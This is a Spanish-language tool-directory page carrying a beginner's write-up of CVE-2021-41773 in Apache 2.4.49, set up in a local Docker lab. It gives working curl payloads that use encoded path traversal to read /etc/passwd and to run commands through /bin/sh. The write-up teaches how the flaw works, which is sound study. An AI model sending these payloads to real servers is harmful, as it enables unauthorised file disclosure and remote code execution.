Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — CVE-2021-41773 | Kitploit
Herramientas/GitHubGitHub/noflowpls/cve-2021-41773
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubnoflowpls/cve-2021-41773

CVE-2021-41773

CVE-2021-41773

Ver Repositorio
6116hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773

Hola chicos, ayer se lanzó el nuevo CVE-2021-41773 para la versión 2.4.49 de Apache. Así que en este caso, quiero explicar sobre esta vulnerabilidad de Apache.

Playground

Así que, creo que ustedes quieren probar esta vulnerabilidad en un sitio web. Tengo un lugar de pruebas para ustedes. Este es el sitio web para descargar la imagen Docker del ejemplo de Apache 2.4.49 Imagen Docker

Nota: hay dos imágenes, with-cgid y no-cgid. Necesitan descargar ambas imágenes

Uso

Primero descarguen la docker image en su máquina.

Descargar imágenes Docker

no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid

Ejecutar la imagen

no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Descargo de responsabilidad

Honestamente, no sé cómo se le ocurrió encontrar esta vulnerabilidad. Así que no puedo explicarlo completamente. Pero haré mi mejor esfuerzo para hablar de todo lo que entiendo sobre este CVE.

Vulnerabilidad

Este CVE es un poco interesante porque tiene dos vulnerabilidades. Son LFDdivulgación de archivos locales y RCE ejecución remota de código. ¡Genial!. Así que, en esta publicación explicaré ambas vulnerabilidades de este CVE.

Divulgación-de-archivos-locales (usar imagen Docker no-cgi)

Entonces, comencemos con la vulnerabilidad de divulgación de archivos locales. Si conoces Apache, puedes notar que cgi-bin(Interfaz común de puerta de enlace) es la ruta predeterminada que define una forma para que un servidor web interactúe con programas externos generadores de contenido en Apache-2.4.49

Pero esta ruta está Forbidden para todos e incluso para el administrador. Hmm, interesante, ¿verdad?

Y si conoces la vulnerabilidad de divulgación de archivos locales, sabrás que la mayoría de las vulnerabilidades LFD ocurren en rutas prohibidas.

Así que probemos payloads simples de LFI en la ruta /cgi-bin/.

Puse ../../../../../ antes de /etc/paswd. (Si quieres saber qué es ../, echa un vistazo a esta publicación de blogBypass de divulgación de archivos locales)

Con curl:

curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

curl

Con burpsuite: burpsuite

Como puedes ver, obtuvimos un error con este payload simple. Con curl obtuvimos el código de estado 404, error Not Found, y con Burp obtuvimos el error 400 Bad Request.

Eso significa que debemos codificar nuestro payload con codificación URL. Así que intentémoslo y veamos qué obtenemos.

Entonces codifiqué el . a URL. Nota: . es %2E y también %2e en codificación URL.

Con curl:

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

curl

Con Burp: Burp

¡Sí!. Nuestro payload funcionó ahora. Podemos leer el /etc/passwd del sitio web.

Así que espero que ahora hayas entendido la vulnerabilidad LFD de este CVE. Entonces, continuemos con la vulnerabilidad RCE de este CVE de Apache 2.4.49.

Ejecución-remota-de-código (usar imagen Docker with-cgi)

Para explicar la vulnerabilidad RCE de este CVE, necesitas entender algunos conceptos básicos de RCE y linux basics.

Echa un vistazo a esta publicación de blog para saber Qué es RCE

Ah, creo que pensaste que dije algo mal cuando mencioné linux basics. No. No dije mal porque realmente los necesitamos. ¡Así que comencemos!

Primero déjame mostrarte el payload que funciona y te explicaré cómo funcionó.

curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

Con Curl: curl

Explicación-del-payload

Entonces déjame explicar sobre este payload.

curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

Como puedes ver, la ruta /cgi-bin/ y la codificación .%2e son iguales. Pero ahora hay dos opciones más. Eran -d datos y /bin/sh /bin/bash. Entonces, déjame explicar por qué necesitamos ponerlos.

/Bin/Bash

Primero, queremos obtener ejecución remota de código, ¿verdad?.

Entonces, como sabes, en sistemas basados en linux /bin/bash es la parte principal para ejecutar y escribir comandos y shells. Así que necesitamos bash para ejecutar nuestros comandos en el servidor web. Echa un vistazo a estoQué es Bash en linux.

Datos

Bien, ahora digamos que podemos obtener /bin/sh. Solo necesitamos inyectar nuestros comandos. Podemos poner nuestra inyección como datos con curl.

Entonces nuestro payload es C|echo;id. Déjame explicar qué es esto.

Así que C no es nada. Podemos poner lo que queramos antes del |. como Comdey|.

El echo;id es solo un truco de linux.Entonces, dije que necesitabas fundamentos de linux Fundamentos de echo

Si ponemos todo esto junto, obtenemos RCE en Apache 2.4.49.

¡Gracias!

Gracias por leer, chicos. Este es mi primer writeup para CVEs. Perdónenme si fui malo explicando esto. Y también por favor denme sugerencias.

Gif

Descargar herramienta